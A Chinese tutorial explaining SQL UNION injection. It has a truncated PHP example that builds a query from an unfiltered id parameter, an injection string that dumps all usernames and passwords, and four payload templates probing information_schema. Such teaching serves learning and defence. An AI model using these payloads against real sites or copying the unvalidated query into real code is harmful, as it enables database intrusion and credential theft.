目录
union注入
一、语法介绍:
二、代码示例
网络安全O
版本:
union函数是SQL语言中的一个操作符,用于将两个或多个查询结果合并成一个结果集。它适用于几乎所有主流的关系型数据库管理系统(RDBMS)
如所有的:MySQL、Oracle、Microsoft SQL Server、PostgreSQL、SQLite等关系型数据库
语法:
SELECT column1, column2 FROM table1
UNION
SELECT column1, column2 FROM table2;
使用SELECT语句来查询两个或多个表中的数据。然后,使用UNION关键字将这些查询结果合并在一起
(注:被合并的查询结果具有相同的列数和相似的数据类型。如果查询结果的列数不同或者数据类型不兼容,将会导致错误)
作用:
示例:
";
echo "密码: " . $row['password'] . "
";
}
} else {
// 输出错误信息
echo "查询失败";
}
?>
用户可以通过URL中的id
参数来指定要查询的用户ID。然而,由于代码中没有对$id
进行任何过滤或验证,攻击者可以在id
参数中注入恶意的SQL代码。
可将id的
参数注入恶意代码,如下
1' UNION SELECT username, password FROM users--
那么构造的SQL查询语句将变为:
SELECT * FROM users WHERE id = 1' UNION SELECT username, password FROM users--'
将会返回所有用户的用户名和密码,绕过了原本的查询条件
通过联合注入漏洞获取敏感信息,或者进行其他恶意操作
payload:
1、基于联合查询的union注入:
' UNION SELECT column1, column2, column3 FROM table_name--
2、基于错误的union注入:
' UNION ALL SELECT NULL, NULL, NULL, table_name FROM information_schema.tables--
3、基于盲注的union注入:
' UNION ALL SELECT NULL, (SELECT concat(table_name,0x0a,column_name) FROM information_schema.columns WHERE table_name='表名' LIMIT 1 OFFSET 0)#
4、基于堆叠查询的union注入:
'; SELECT 1,2,3 UNION ALL SELECT column1, column2, column3 FROM table_name--
…………
每一种sql注入的方法都可以尝试与union进行结合
README.md · 书半生/网络安全知识体系-实战中心 - 码云 - 开源中国 (gitee.com)正在上传…重新上传取消https://gitee.com/shubansheng/Treasure_knowledge/blob/master/README.mdhttps://gitee.com/shubansheng/Treasure_knowledge/blob/master/README.md
GitHub - BLACKxZONE/Treasure_knowledgehttps://github.com/BLACKxZONE/Treasure_knowledge